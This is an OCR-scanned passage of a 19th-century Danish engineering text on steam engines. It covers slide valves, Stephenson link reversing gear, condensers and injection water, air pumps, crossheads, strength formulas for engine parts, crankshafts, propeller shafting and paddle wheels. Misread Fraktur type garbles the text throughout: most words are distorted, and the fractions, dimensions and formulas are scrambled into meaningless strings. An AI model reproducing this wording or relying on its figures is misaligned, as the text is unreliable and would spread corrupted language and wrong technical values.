forftjnet meb Irøie, oeb ^rifi Slabning ub til Slibeffabet Strubeøentilen J er anbragt.
A er ooerfte, B neberfle ©ampport; CCC'C' et oerticalt, 0 et borijontajt ©jennemfnit
gjennem Sliben, ber bar fit 9?aon af bet ftbfieg gorm. gjcrfeite C' C' fortfcetteø inbab
meb SKibber D, D, ber flutte mob Slibeplanet og banne Uanaler, gjennem brille ©ampen
fremmer inb til portene, naat gjcefeneS 3nberfanter aabne bisfe. 6 og H er $amp*
pafninger, fom efter Seboo funne tilffrueø ; mellem bisfe, runbt om ølibetiS tpnbere
©ecl, Raaer ©ampen, og fhrommet altfaa, oeb ben i giguren ripe Stilling af Sfiben,
inb gjennem A j fra B ganer ben birecte neb i gorteetteren F. (JSaaer Sliben neb til
gjetfene fomme unber portene, faa ftrommer ©ampen inb gjennem B og gaaer fra A
gjennem Slibenø inbre Stum P til gorteetteren. GjcenterflioenS gentet fommer til benne
Slibe ligefaalangt efter Krumtappen fom foran til ben forte Slibe. ©a ben ©amp,
fom rummeø i ©ampcanaleme , gaaer tabt for fjrert Slag, bar D Sliben en gotbeel
fot ben forte Slibe beri, at ganalerne A og B ere ganffe forte; benS ooefentligPe
Mangel er $amppafningerne og ben beraf folgenbe griction og Slittage.
§ 15. $oab enten man bruger bet ene eUer bet anbet SlagS Slibe, faa maa
gjcenterffioenS Senter fløttes om paa mobfat Sibe af Krumtappen, naar Maffinen ffat
gaae mobfat 9Sei. ©ette ffeer, naar man fun tmr ten Srcentrif (til boer Maffine)
beoægelig om Sljelen, beroeb at (Sjcenterpangen fætteS ub af Jnbgribning og Sliben
beoægeS for §aanb meb be bertil beftemte Uboerlinger etler Sægtpænger (h gig. 53)
faalebeS at Maffinen begønber at gaae ben forlangte Sei; Sljelen breier ftg ba i ®j*
centerffioen til be mobfatte Knajter fomme mob binanben, fjoorefter Gicenterflangen igjen
fan tageS i Srug.
Jil faalebeS at beooege Sliben for $aanb frceoeø i (tore Maffiner jtor Kraft og
i burtiggaaenbe Maffiner nogcit gærbigbeb; man bruger berfor, naar MaffinenS Son--
ftruftion tillaber bet, fjetlere to Grjcenterffioer til fjoer Slibe, fafle paa Sljelen i be til
forooet og baf foarenbe Stillinger, faalebeS fom A og B, gig. 35. $oer gjeenter*
ffi»e bar fin SRing og Stang, og begge Stenger ere forenebe meb et bobbelt, bue=
forntigt Stpffc CC, ben faafalbte £ænfe. 3 CC er en KlobS a beoægelig, og i
benne er et #ul, fom meb Solt forenes til ben gaffelformige @nbe af Slibeftangen.
Saatønge Klobfen ftaaer oeb a, oirfer Sfioen A, og B frembringer blot en Sinfel*
berorgelfe af Sænfeit, bois 3nbflt)belfe paa SlibenS ®ang er ubetøbelig. gorfføbeø
Sænfen faalebeS, at Klobfen fommer til b, faa oirfer B, og Maffinen gaaer mobfat Sei.
Stiller man £ centen faalebeS, at Klobfen fommer paa Mibten, faa fiaaer Sliben noefien
fille og beeffer begge Sorte, bootoeb altfaa Maffinen flanbfcr ; SDIeUemftillinger beoirfe
en gorminbffelfe af Slibeflaget og foroget Gsjpanpon, fom bog er forbnnben meb for
tiblig Stpufning for ben ubgaaenbe ©amp, og berfor fun i ringe ®rab anoenbelig.
©en inbbørbeS Seoægelfe af Klobfen og £ centen beoirfeS beels oeb ^jcelp af en Sægt*
pang, fom meb Seb er forbunben meb £ centen, beels oeb en Sfrue, fom ba* Motell
i Klobfen og Sager i gnben af £ centen. Unbertiben bruger man ogfaa, naar Soenfen
boenger oertifal, en lallie til at løfte ben meb, naar man fTal gaae baf. ©ette
Slrrangement falbeS efter Oppnberen StepbenfonS Sænfebeoægelfe; bet anoenbteS førfl
paa Socomotioer.
Digilized by Google
33
5 16. 3(leDrtfot goenfebepoegclfe brugeS unbertiben een fafl (Sjccnfrif og bet
faafalbte SReperftonSflpffc, ber er piift i gig. 36. A er ©liben (conflrucret til Grpan»
ftonSflibe fom i gig. 32), BB SRcoerfionSfitiffct i fin Stilling til ®ang beit focboanlige
Sei; (Sanalente C, D og E lebe ba Dampen til og fra Kplinberen paa fcebpanlig
SKaabe, og be anbre gjemtem BB gaaenbe Kanaler luffeS af ©litcplanet paa Kplinbcren.
glptteS UieperitonSflpffet til Stillingen B'B', faa lufTcS C og D, og Slabningernc G
og H blipe Dainpporte, fra G forer en Kanal paa ©ibcn af E og D til I, og
Dampen (lipper altfaa, »eb uforanbret Stilling af Sliben A, inb paa mobfat Sibe af
Stemplet; fra K gaaer ben bragte Damp gjennem en anben Sibecanal paa ben i
giguren bortjlaarne Sibe af E og D til H og berfra gjennem E til gortortteren. De
reoerferenbe ffijennemgange funne ogfaa arrangeres paa anbre Slaabct, men Samfcbe»
poegelfe er noeften i alle Dilfælbe at foretroeffe.
$17. KttlinberneS Serotgeligbcb i be oSfcillerenbe SHaffiner Fr ær er en foeregen
SWefaniSme til ©libenS Seoægelfe, ber er »iifl i gig. 35, b. D er Slibeftangcn,
forbunben meb ben ene Gnbe af en Scegtjiang, fom breier fig om en paa Kplinbercn
fafl Dap C; ben anben Gnbe E af Saegtflangen gliber unber KpImbcrcnS Sringninger
frem og tilbage i Suen BB, meb en JtlobS, ligefom »eb Soenfebcpoegelfen, og BB
ftyreS ret op og neb af Kolonnerne AA og Stangen FH, famt lofteS og famles af
Gjcentriffen, bois Genter G, ba Scegtftangen omoenber SlibenS Seooegclfc, ftaaer
i biametralt mobfat Stilling mob ben fceboanlige. giguren Pifer en Slibe meb fin
Soegtftang paa boer Sibe af Gplinberen, frilfet foeboanlig brugeS i flerre SMaffiner af
bette SlagS. Suen BB er beflreoen fra Kplinbertappen I fom Kenter, naar ©liben
jlaaer mibt paa ©libeplanet; berfom Slfflanben IB iffe foranbrebe jig, faa Pilbe ©libe*
beoægelfen blipe netop ben famme fom om Kplinberen ftob fafl ; ba Slibeflaget er libet
i gorljolb til IB, blipet ben Slfoigelfe, fom foraarfageS af at Suen bejtanbig maa
bebolbe ben til SWibbelftiUingen fparenbe krumning, fun ubetpbelig. 9iaar bet (Tal
teperfereS, bcpaegeS BB reb fijoelp af en Janbjlang meb Drep; gernfebtrægelfe , b»®ri
ba FH trceber ijtebet for ©libejlangen, fan ogfaa attpenbes.
§ 18. Gfter at bare ubepet fin ffiirfniug i Kplinberen gaaer Dampen neb i
gortaetteren ; bennes gorm narierer paa mangfolbige SHaaber, ba Dium til gortaetningen
gjerne anbringes i Suitbpiabcn eller SRampaerfct ber, bPor bet falbcr befpemmejt. F, gig.
53, 56, 61 og A gig. 63 pifer forffjclligc SlaffinerS gortaetterc. go nærmere Suft*
pumpen fan bolbe gortaetteren lænS, bejto bebre. Solumet parieret ogfaa; bet bor iffe
boere minbte enb Vs af KtjlinberenS, men fan meb gorbeel gjoreS noget flerre, naar
bertil er Slbgang. SolbnanbSroret, ber paa SoemafFiner tager ftt Sanb ubenborbS, bor
baoe Sentil og Jfran ber, b*ot bet gaaer gjennem ©iben; Peb 3«bgangeit til gortortteren
bar bet nof en Kran, ber regulerer Støngben af bet inbfproitebe folbe Sanb og FalbeS
ÆfolboanbS*, ftunbom 3nbfproitningSfranen. Slrealet af benne Jfran, ligefom ©ectionen
af SRoret, gjoreS Vis å V12 Cpabrattommc pr. ^ejtefraft; be pille ba, fulbt aabne,
gipe ben jtorjtc for gortoetningen . noboenbige Sloengbe folbt Sanb, nemlig omtrent 30
flitbiffob i Dimen pr. nominel ^ejifraft (§ 6 Sablebningen.) 9laar Jtolboanbct bar
en lao Semperatur eller SDtaffinen gaaer fagte, jf al Sfolbpanbsfraiten poere beeloiié luffet;
$aanbtaget er berfor altib forfpnet meb en Sifer, fom peger paa en fajiflaaenbe Sfala.
Siunbingen, boorigjennem Sproitningen foregaaer, inbretteS faalebeS, at Straalcn faaer
en ftor Ooerffabe i gorbolb til ftt Solum, boorpeb gortetningen paafftmbeS ; paa jlorre
IKaffincr er Siunbingen gjerne beelt i flere lange og finale 2labninger.
3
Digitized by Google
34
®a gortcrtteren, naar SKaffinen bat jtaaet pille nogeit lib, cr fulb af £uft og
SBanb, faa maa man funne flippe 3} amp inb i ben for at blcrfe bisfe ub, eller blcrfe
igjenitem fom bet falbeS. 3 betle fpicnieb anbringes for bet mefte fra ©libeffabet til
gortøtteren en fcerffilt Kanal, fom, naar SDiaffinen er i Wang, bolbes luftet meb en Jtran
eller SBentil; S gig. 53 og s, a gig. 58 ere faabonne WjennembtøSningSfraner. SBeb
ben mobfattc Kube af gortøtteren er altib en Silpobsoentil eller Uran, boorigjennem bet
Ubbtøpe flipper ub; faalebeS ‘oeb T gig. 53 og t, t gig. 58.
§ 19. SDtøngben af JnbfproitningSoanb reguleres faalebeS, at gortøtteren bolber
fig 30 til 35° barm; oeb beune temperatur ttboifler Sanbet ®amp af 1 S"s $r»f
paa Coabratf ommen. SDleb JnbfproitningSoanbet folger en SBortion fiuft, fom alt folbt
SBanb inbebolber oploii, og fom uboifleS i gortøtterenS Iufttomine 9tum; bcroeb forogeS
Jrpffet ber, faa at SBacumetret gjerne oifer 3 å 4" fixiffolo unber Sarometerboibm
eller IV* å 2 8" pr. Goabrattomme SDtobtrpf.
gor bPert ©lag op og neb af Kplinberen fommer, naar Sjpanfioncn er V« og
SDamptrpffet i iljeblen 10 < B, IV» KplinberS Solum 2>amp af Vioas Scrtbrb neb i
gortoetteren og foroanbleS ber til
1 V»
1033
etler Veso Kplinberoolum SBanb.
3nbfproitning$»
oanbets Biorngbe fan opgaae fil 30 Wange faa meget, og begge tilfammen ubgjore faalebeS
3 Vo8b = Vaa Kplinberoolumen. guftmcrngben, fom SBanbet inbebolber er omtrent Vts af
bets SBolum meb atmofpljæriff Joetbcb; ben uDOiber fig, til ben b Jt famme ©pceiu
bigfieb fom SDampen i gortcrtteren, altfaa 14 Wange eller til ,4 /is af 3»bfproitningSs
SanbetS SBolum = '/*# Kplinberoolum; guft og SBanb pr. ©lag af SKnffinen ubgjore
altfaa tilfammen Va* -f- Vao eller nær Via af KpfinberenS SBolum. ®linbft fan meget
maa altfaa gortcrtteren funne rurame og guftpumpen bortfere for boert ©lag af SBIafTi*
nen; begge gjoreS noget florre, guftpumpen i Sllminbeligbeb lig */s af Kplinbcren naar
ben er enfeltoirfenbe, Vio naar ben er bobbeltoirfenbe, og gortcrtteren ligefaafior eller
ftorre. Uben bette Coerjfub i ©torrelfe funbe, oeb ltfoeboanlig boi Semperatur af
Sfolboanbet, oeb Soef i ©liben og anbre fnobanne OmPcrnbigbeber, gorfcrtningSapparatet
bliee utilftræffeligt. SDleb fiærfere Damptrpf, altfaa tcrttere ®amp, fiiger SBolumet af
gortaetter og Fuftpumpe; meb ftorre Kfpanfton fan bet forminbffeS.
§ 20. gig. 37 oifer en enfeltoirfenbe guftpumpe, faaban forn ben fcrboanlig
bntgeS i Sallaneemaffiner. A er Sillobet fra gortcrtteren ; goboentilcn B ubelabeS ofte,
ba SBumpen ogfaa uben ben gjor fin SBirfning, naar fun ©templet C og bets SBentil D
bolbe tcet. E er lopoentilen, EF Plflobct til SBarmoanbSfaSfen, orfra et SPpobSror
forer ooerborb. 3fi«betfor ben flabe ©tempeloentil D anoenbeS unbertiben et SJkr filap;
oenfiler fom v, v gig. 57, men be ere oanffeligere at bolbe tøtte; bebjl er en eller flere
SBibfTctøberSoentiler af ben foran beffreone 3nbretning.
gig. 38 er en bobbeltoirfenbe borijontal guftpumpe til en ©frucmajfine; SPumpe»
Poolen, af IBletal, er aaben i begge Knbcr og inbfat i en Snbfatning af 3etn, ftobt i
eet meb PSentilfaSfen,- ber ligger paa ©iben af SBumpen. A, A er ©ugeocntileme af
SBibffetøber, inbfatte i Dior, fom naae noer neb til Sunben af gortøtteren, og tiggenbe
unber SHabningerne BB, boorigjennem Kommunicationen meb Sfurnpen finber ©teb ;
ooeuooer bisfc ligge begge ©tigerorSoentilcrne af famme ©lags og ©torrelfe. ®en
ooerpe SDeel af SBentilfasfen tjene; fom SBarmoanbSfaSfe, og fra ben gaaer SlflobSroret
gjennem ©fibsftben, forfpuet meb SBIabocntil og eonij! SBentil.
Digitized by Google
35
Slreafet af Suftpumpené SBentilaabninger 09 af MflobSroret bor iffe terte minbrt
enb V 4 af Suftpumpeflemplet« Streal, men beder noget florre; ellerO blioe Sanbflrom*
ningerne, meben« fPumpen gaaer burtigfl, fot tolbfomme og foraarfage ©tob. 3 hurtig*
gaaenbe røafFiner faaer Sknbet i felte (Dumpen faa flor •fjajligbeb, at bet fl a, ur mob
Sunb og fang ; for at unbgaae ben berteb foraarfagtbe 2ldarm anbringer man et fiint
Mor meb Sfr an, famt en SSentil, ber aabner jtg ubenfra og inbab, faolebeO at libt Duft
unber ©ligningen flippet inb i gumpen, bo or ben teb fin Glaflicitet borttager ©laget.
Suftpumper fil Mtaffincr, fom bruge ferjft 2knb, funne tiben ©fate tære af 3etn;
til ©oemaffiner faae De en Sletalflotle, 3 /s å ‘/a lomme tpf, meb en »bre 3 «uflctb*
i.ring af 3 /« å 1 Jomhieo Jpffelfe. ©tempel og ©teinpeljiang ere ba ogfaa af SWetal,
«J 5 a.'ningrn for bet mefle af #amp eller ©omulb, ligefrem tiflet om en gure i ©templet.
Da i“uftpumpeflemplet« griction er forbolbStiiO florre enb Gplinberflemplerø, conflnierei
fuftpum^enO ©tempelflang noget floerfere i gorbolb til ben Sfraft, fom ben unber almin»
belige Cm/tønbigbeber bar at ubbolbe; Diameteren er gjerne '/s å Vio af $umpen 6
for enfeltoirfenbe, '/« å 'h for bobbeittirfenbe jumper, gt !<nr fra be b « beffretne
forffjellige Suftriiimpeconflruetioner ferefomme i noefte gapitel.
§ 21. Don Sfraft, fom fremfommer teb DarapenO Xrpf paa Stemplet, forplantet
gjennem ©tempelgangen til Stølen paa forffjellige Sllaaber. fDlan fan gjore Gplinberen
beoægelig om et ‘Jar lapper — oifciflerenbe — og forbinber ba felte ©tempelilangen
meb 2tølen« Strnmtap paa ben i gig. 39 tifle SWaabe. ©tpffet A er fmebbet i ert
meb eller meb #plfe og Stile forenet til ©tempelflangen ; B, B er Metallagere, fom
gribe om Sfrnmtappinben E; C Oterlageret, af 3«n eller flobt i eet meb bet ette
røetatlager; F, F to Stolte, tilfammen fictrfe rtof til at mobftaae ©templet* trcrffenbe
Sfraft, meb fdloltriffer, btormeb B, B fan treeffe* faminen, efterbaauben fom ©liltagt
finber ©teb. gor at bette ffal funne ffee maa ber altib tetre noget ©pillerum mellem
be to balte gagere. D er ©morefoppen, btorfra et #ul forer giennem Oterbelen af
gageret, ber ofte forfpne* meb een etler flere gurer, fom ubbrebe Oljen til Siben.
Motlrifferne til F, F bor tære fotfpnebe meb ©oetjfruer eller anbre fUliblcr, fom binbre
bem t at breie fig af fig felt.
Stil man bate (Splinberen fajlitaaenbe, faa fan man anbringe en gorbinbclfeSflang,
fom oterforer ©tempelflangen* Sfraft til Krumtappen ; ba benne inbtager ffraae ©tillin»
ger til begge ©iber af ©tempelflangen* Metning*(inie, foget ben at brite gnben af
©tempeljlangen til ©iben, og for at binbre bette, forftjncé ©tempeljlangen meb et Iterr*
flplfe (cross head), fom ftpreO i ©tempelflangen* Metning af en Mamme eller paa
anben røaabe. røaffinen faaer i bette Silfoelbe, ligefom naar Gplinberen o*feiderer,
Matn af bireetetirfenbe, i Miobfoetning til SBadnneemajFinerne, bterom noermere fiben.
§ 22 . Jtoerflpfferne , fom ffude jlpre Enbeu af ©tempelflangen i ret fiinie,
faae mange forffjellige gormer efter ©tpringen* ©efTaffentjeb. gig. 41 tifer ben gorm,
fom meefl antenbe* til minbre Mlaffiner. B er ©tempelflangen , CC Soaerflpffet,
DI), DI) ©fprerammerne. B gaaer gjennem et $u( i røibten af CC og ferjle* meb en
SHottrif eller en Stile. Gnbeme af CC ere forfpnebe meb fDletalflobfrr, fom pasfe og
glibe frem og tilbage i Mammeme. gorbinbelfebflangcn bar en gaffelformig gube A,
og forbinbe* til to afbreiebe cplinbriffe Dele af Drirrjlpffet meb faafalbte ©troplagere,
bti* 3 nbretning mrrmere fee* af (Kjennemfnittet gig. 41, b. A er ben eplinbriffe
Deel, pporom Dreiningen foregaaer, omtrent ligefaa lang fom ben et tpf; B, B ere to
balte røetaQagere, oltefantebe ubtenbig, V* 4 3 /b lomme tpffe paa ©iberue og noget
3*
Digitized by Google
36
mere teb Knbente, brer Slittagen fornemmelig finter Steb. CC er (Suten af gor*
binbelfeSflangen, DDD Stroppen, af fmebbet 3ern; gjennem begge gaatr et |>ul for
Silen E og Sleglcn F. Jpenfigten meb ben (ibjie er, at ben ineb fine #ager jfal binbte
Stroppene Knbcr i at oige ub fra gorbinbelfesjtangen. Sectionen af Stroppen, b»or
ben er foagejt, ntaa oatre ifianb til at mobiiaae bet Irotf, fjoortor ben unber Seoaegelfen
blieer ubfat; Sile og (Regle, bois be ere af Jern, faae farnnte Seetion; ofte gjøres be
bog af Staal, og ifaafalb noget tynberc. Sterre Siler faae en ubjtaaenbe Sirat og
gjennem benne en Sfrue, forn binbrer Silen i at foritybe fig, faalebeS fom oiiji i gig. 59.
®n anben gorm af Isoerftyffe for birecteoirfenbe SRajfinet er oiiji i gig. 40. det
er famraenfat af to tnffe oalfebe gernplaber, booraf ben ene i giguren er taenft bort*
ffaaren, og ftyreé af to cplinbrijfe Kolonner A og B. N, N et Styreflobferne af
2J?etal, 0, O Siler, boormeb be preSfeS mob (iolonnerne , P, P Sraorefopper.
(Stylinberen f)« r to Stempeljlænger C, C, ffruebe til Slobfer, fjreia Japper E, E ere
flinfebe paa begge Slabcrne. det famme et lilfoelbet meb Stnben F for gorbinbelfeS*
(tangen G, ber er forenet meb F eeb Stroplager og oanbrer melltm JoarrftyffetS iftlaber.
den anben Knbe af G forbinbeS meb Srumtappen paa ben i gig. 39 oijte Sftaabe.
gorbinbelfeSftangeuS £<*ngbe ber iffe nerre minbre enb 3 ©ange SrumtappenS, for at
iffe for flort ©ibettyf paa Kolonner eller ©ttireramme (fal fremfomme. diameteren oeb
begge Knber gjøres lig ben, fom en enfelt Stempeljiang til famme Kplinber (Tulbe
bant, og paa SWibten (for Ubfeenbrt Stylb) Vao 4 Vio fterre. L og M ere to Slobfer,
ffruebe til lecrrftyffcts (JSlaber; ben ene af bem ferer SuftpumpenS, ben anben gøbe*
pumpene S tempeijtang. gorffjellige anbre gormer af loaerftyffet fot birectepirfenbe
SRaffiner forefomme i nerjie Kapitel.
dimenfionerne af Jooerjtyffer maac beregnes efter gønnlerne for BegemerS relative
Styrfe. 9iaar P er ben Sraft, fom ftraeber at btpbc Jooerftyffet, 1 SIfjhnben fra
SraftenS SlngrebSpunft til bet Steb, bo or Stubbet eilbe foregaae, h $øibeit i SraftenS
bh 2
Dtetning og b Srebbeit af Sectionen paa bette Steb, faa er P = K. -j- . Kr ben
rectangnlocre Section gjennembrubt meb et $ul af ^eibeti h', fom t. Kr. Sectionen
b(hL.h’ 3 )
gjenuem F, gig. 40, ovenfor #uKcf til F, faa er P = K. — j ^ — - ; er eitbelig
d 3
Sectionen crjlinbriff af diameteren d, faa cr P = o,6K gor Smebbejcm fan,
naar fembobbelt Sifferljeb forlanges, K fattes lig 2000 få, for Stobejern 1000 få,
naar dimenfionerne nbttyffeS i Sommer. Jooerjtyffcr og lignenbe SUiaffinbele ber con*
(truercS til minbjl tibobbelt Siffetyeb, altfaa dimenfionerne beregnes meb tøalot faa
jtorc Scrtbier af K.
§ 23. gig. 42 oifer ben faebranlige gorm af deaerftytfe til SaUancemajfiner
tilligemeb ben faafalbte fparallelbeBccgelfe, ber (tyter bet ret op og neb. A er Stempel*
(tangen, forenet til Sucerftyffet meb Sile C og SKottrif B, eller blot meb Sile. •freiben
paa SJIibten cr gjerne V«, Jtjffelfcn, af begge ijkrter af diet tilfammen, Via af (ip-
linberenS diameter. £eibtn aftager mob Knberne, faalebeS at ben paa V* fra bisfe
er batvt faa ftor fom paa Siibten. P, D et foagt conijfe lapper, Via Kplinberbiameter
tyffe og Via langt. Sibefiangen E pat en tynb (Dietalforing, fmegeS paa D og IjolbeS
inbe meb en Sftlettrif, bet enten er bobbelt eller fortynet meb ©oetjfruc. Ofte gjereS
ogfaa lappen eplinbrijf og Sibejtangen faaer ba Stroplager i ben eore Knbe. den
Digitized by Google
37
anben Gnfce af E (laaet altib raeb ©troplager om lappen F i tfnben af Sallaneen.
G et ben til Sitnbplabe eller SliamPffrf fafijlo6te 2ap, boorom Saflaneen fninger, V»
å V, Splinberbiameter tpf og Vi lang. ©tpffet OF af Sallaneen, ©ibeflangen og
Saraflelftoengerne H og I banne Sarallelogrammet, IjpiP $jorne K fore* af ©tpreftangen
KL. ©enncP Senter bcftemmeP reb at man aftegner Sarallclogrammct meb SBaflancen
borijontal, boiefl og laocft, famt befinner en Girfelbue gjennem be berneb funbnt Sunfter
M, N, K, faalebeP fom be punfterebe fiittier paa giguren oifer. Sibeflorngernc faae til*
fammen famme ©cction fom ©tempeljtangen, altfaaO,? af diameteren ; be ovrige ©tcenger
i SJkrallelogrammet faae omtrent V3 af ©ibejlcrngerncP ©iameter. 2lt ©tpringen meb
SParaflelogram iffe er abfolut noiagtig, er aflerebe tibligcre omtalt. 3»' ct l em Saflaneerne,
paa ben Gplinberen mobfatte @nbe, anbringeP et lignenbe 3>orrftnffc (cross tail) peb
•fjaelp af to borte ©ibejioenger, og fira bciteP Siibte gaaer gotbinbelfePflangen til
Krumtappen.
§ 24. fjooebajelen til ©ampmaffiner gjoreP altib af fmebbet 3<rn. ©enP ©ia*
meter d bcftemmeP af gormelen d — Via ty D J p V b»or D er Splinberenp ©iameter,
p irpffet paa ©templet pr. Ooabrattomme (©amp og SBacum tilfammen) og 1 Krum»
tappena Soengbe eflet bet baloe ©lag, alle SDlaal ubtrptte i lommer. Sirte to SDiafliner
paa famme Stjel, faa tageP 2.D 2 for D 4 . gormelen girer omtrent tibobbelt ©iflcrfleb
og fan naturligpiio benptteP til Seregning af anbre Sljler ogfaa, ba D 5 p. 1 er —•
©ange ben pirfenbe Kraft éi røoment i ØT lommer. Boengben af #oncba{c(enP Slagere
bor itfe Boere minbre, men ftefler noget flerre enb ©iameteren. Jnbretntngen af et faa»
bant Bager er piiji i ©jennemfnit langPefter i gig: 43, a og tocrPooer i 43, b.
Unberlageret G er en ©eel af SHamuarrtet, jlobt i eet meb eller faflboltet til bette.
Bagermetaflernc B, B ere unbertiben ottefantebe begge to, unbertiben er ogfaa bet nebetfh
eller begge firfantebe; be base glanger, fom btnbre ScBoegelfe langPefter Siljclen, og bet
ooerjte bar ©morefiul og Stenber for Oljen. Ooerlageret H er forfpnet meb •fager,
fom binbre UnberlageretP opftaaenbe ©eie fra at fjebre jtg ubab. K er Smorefoppcn,
ber bar en SJlibe i røibten, og i benne en Soege af Ulbgant, fom fiabig Peb fin $)aar»
rcrPfraft forer Olje fra Koppen til Streten. Oter* og Unberlager boltcS fammen meb
et etler to Sjjar Solte, L, L.
Krumtappen frcmbriitgeP paa minbre Sljler Peb SBoining af Streloii ; man bar i
ben fenere Jib begpnbt at fmebbe fooere Slrler paa famme SDlaabc, bog er bet ©ocb*
Panlige eitbnu, at Krumtappen fammeufartteP paa ben i gig. 43, a oijie Hia ab e.
©tpffcrr.e A paafaefteP narme meb be jiorre Oine paa be afbreiebe SHpelenber, og
fomme ba Peb 3 ctl 'ctP ©ammentroefning unber Slffjolingen til at ftbbe meget fajt ;
be forflotteP pberligere meb en eder flere KrpbPpinbc H. Bcrngben af Oiet er
gjerne ligt SljelcnP ©iameter, Jpffelfcn lig fltabien eflet libt minbre. Krumtap*
pinben D, ber inbfatPboerbeP for bebre at mobftaae ©littage, faaer V7 af EplinberenP
©iameter til Jpffelfe og Va til Bcengbe; ben jlaaer meb ftn ene Snbe, ber er foagt
coniff, fajt i bet ene Krumtapftpffe og fajlgjoreP ber meb en gjennemgaaenbe Solt eller
Kile E ; ben anben gnbe bar libt ©pillentm i bet anbet Krumtapjlpffe, boorpeb
opnaaeP, at ber iffe fommer nogen brpbenbe Kraft paa Sinbrn peb at be to SljeljlpfferP
Senterlinier afoige libt fra binanben. F er en Slabe, fom luffer @nben af gullet og
banner et SRefetPoir for ©morelfe. Unbertiben foteneP ogfaa Krumtappinben til bet
anbet Stpffe meb et Beb. KrumtapjlpfferneP minbre Oine proportionereP til SJsinben
Digitized by Google
38
ligeban font be porre til Sljelen; Srcbben af StnfferneS Pabe Deel (maalt parallel
meb Sltelen) lig % <if Hrelcné Diameter. Dimenfionerne a f krumtapppfferne funne
naturligtiiS ogfaa beprmmeé peb ^jcclp af fjorntlerne for bm relatioe ©tprfe.
§ 25. Slrclen for $ju(bamppibc bePaaer (forfaaoibt ben ifte er beelfmcbbct)
af tre Dele, nemlig 2M em ave (en og begge ^jularlernc. UMemajelen b at Paa begge
gnbcr krumtapppffer, pillebe i ret SSinfel mob binanben; i btøfc ftaae krumtappinbcne
faft og btrcrge fjjulajlerne runbt peb J£)joc[p af kntmtapptpferne paa bem. SJeb benne
Stilling af krumtapperne blioer ben ene SPiafFine* SBirfnfng til at breie Sljelen (torjt
eder nerr (tør(t, naar ben anben er paa pt bobe !J5unft (Senter), og Summen af begge
®iafliner« ffiirfuing blioer nogenlunbe jern. ($riS kraften paa Stemplerne oar ecnøv
forrnig, faa pilbe Summen ooere P (Sin. v -j- Cos. v), naar v er en af krumtapperneS
Sinfel meb Pertical, altfaa variere mellem ©raenbfcme P og 1,4 P; Sjpanponen frem»
bringer libt gorogelfc i benne Sariation; bog fremfommer paa ©nmb af £julcne« Pore
IrcrgbebOmomcnt i Sllminbeligbeb ingen moerfbar SBirfning paa SKapinenO ©ang af benne
geranbring i kraften.)
§ 26. Sfruemapincr faae ligelebei en SPteHematel meb to baloe krumtapper;
ben forrePe af biSfe bar intet at fore, ben ogterpe briotr, naar ©taPinen iffe bar Ub*
peiling, ipropeHeraielen reb fijorlp af bet i gig. 44 Pipe koblingøppffe. ?Saa Slrelen
A Paacr en Sfioe B meb krpbbpinb; ubenom ben er en Sting, fom i en ubgaaenbe
Deel paa ben ene dnbe bar gullet I) for krumtappinben og i ben anben grictionS*
fttjFfet E af røetal og kilen F. Sfipen B bar en gure, b»ori en tilfparenbe kant
paa E og be gjennom Utingen gaatnbe Sfruer H panbre, og ^inbre ©libning foroper
eller agterooer, naar ber et affoblet. Drite« kilen inb, faa bolber grictionen B fap i
Utingen; le«ne« kilen, faa tan pjropeflerajelen breie pg (unber Seilabø) mebenø 2 Jta»
Pinen paaet pille. (gropellerarelen gjoreø paa ©rnnb af pn Saengbe — ofte 100 gob
og berooer, altib i pere Dele, ber fobleS fammen paa forffjelligc røaaber, og baoe b«er
pt Sager peb finterne. Sageret narrmep 'Bropelleren, bet Pal optage bele benneø kraft
til at brite Sfibet frem, er piip i gig. 60. tMjelen bar, foruben be foebtanlige
$a(3baanb (collars) oeb begge dstiber af Sageret, tre eller Pere Stinge, fom gaae i
tilfparenbe Seier i SDietallet; berreb forbcleé griction og Slittage paa en por Oterflabe,
boilfet er noboenbigt unber bet pcbftnbcitbe poerfe Irbf og ben fiurttge Cmbreining. Den
inbab penbte Sliclenbc A forer i 2llminbeligpeb et bobbelt firumtapppffc meb et jjut Pl
boer Sibe, f>»ori bepoegeligc piinbe fra et tilfparenbe bobbelt krumtapppttc paa ben
forenfor liggenbc 2(jel fftiteø inb, naar pSropelltren Pal brircO af flWaffinen, men troeffeS
ub, naar ben Pal gaae lo«; bcrocb unbgaaeO grictionen af alle Slreippffcrne meflem
PJropeUfrajclcn og ©taffinen unber Seilabø.
©taaben, brorpaa ‘JJropelleraielen gaaer igjennem Starpet af Sfibet agter, er
piip i gig. 47. A A er Sltelen, af 3 f rn, og forftmet nteb en IDtetalfloebning BB,
ber flutter pnnbtoet i f)3rope(leren« SBo« G; bette bolbeé paa IJMab* af kilen I og
krpbOpinte fom H, H. Den mctalflæbte 2lpel breier pg i en OJteialhplfe CC, ber er
inbbrroct i gullet gjennem Spmmeme, og forpottet meb cn Sting FF, boltet til forrePe
PlgterPeon L. 3 f>t>lfen« forrePe dnbe er en '{afbeopng meb pn ©lanb D,D og en
Smcrering E. SSeb F paaffrue« cn liben Srpfpumpe, ppormeb en SSlanbing af £alg
cg Olje trpffeb inb i |)plfen. kun paa bet fonePe og agterpe Stpffe er ©ietalfloeb»
ningen paa 21 itlen aftreiet og Golfen boret; paa ben meUemliggenbe Deel af Sctngben
Digitized by Google
39
er Slum for ©mørelfen. 5?aa 3«nffibe bruge* iffe fDtctalbeftebning paa Sjeten og
f>t)lfen et af flott 3ern iflebetfor of fffletal.
©fot ©fruen gjere flere Ombreininger enb Slaffinen, faa anbringe* paa Enben
(flunbom egfan paa SRibten) afSReHemajeten et flort tanbbjut, fom gribcr i et minbre
paa ben Srctlcbning, fysornteb ffJropclleren er forbunben. ©aaban Utscjtirtg bringer
SRaffincn tjutere op i ©fibet, fssorfor ftigøffibene* SWaffincr for bet mefle gjøre*
birectesirfenbe.
§ 27. Iset atminbetige ©foslfjjut, gig. 45, anbringe* paa ben pbre Deel af
J&osebaretcn, fom forubcn fit Sager paa røaffinen* Slamscrrf tet reb Krumtappen t)ar
et Sager paa ©fib*fiben tet inbenfor hjulet eller paa ben tjbre $julfa*febjetfe. let
forjlc er f)enjigt*mæ*figfl, ba £julfa*febjc!fen tettere foigter og foranbrer ©teb, naar
©fibet bliver aetbre. Eenterflpffet A, flobt brett etler i to fsalobete, er titpa*fet paa
Sjelen og fceflct meb Krt)b*pinbe ; tit bette ere fRabier B, B, B af ftabe fmebebe Jcnu
(tenger ffruebe eder ftinfebe, og forflottebe meb minbfl to af ©egmenter fammenfatte
Stinge, CC, DD, famt meb tsiagonalffinner fom E, F fra Senterflpffet i afoejtenbe
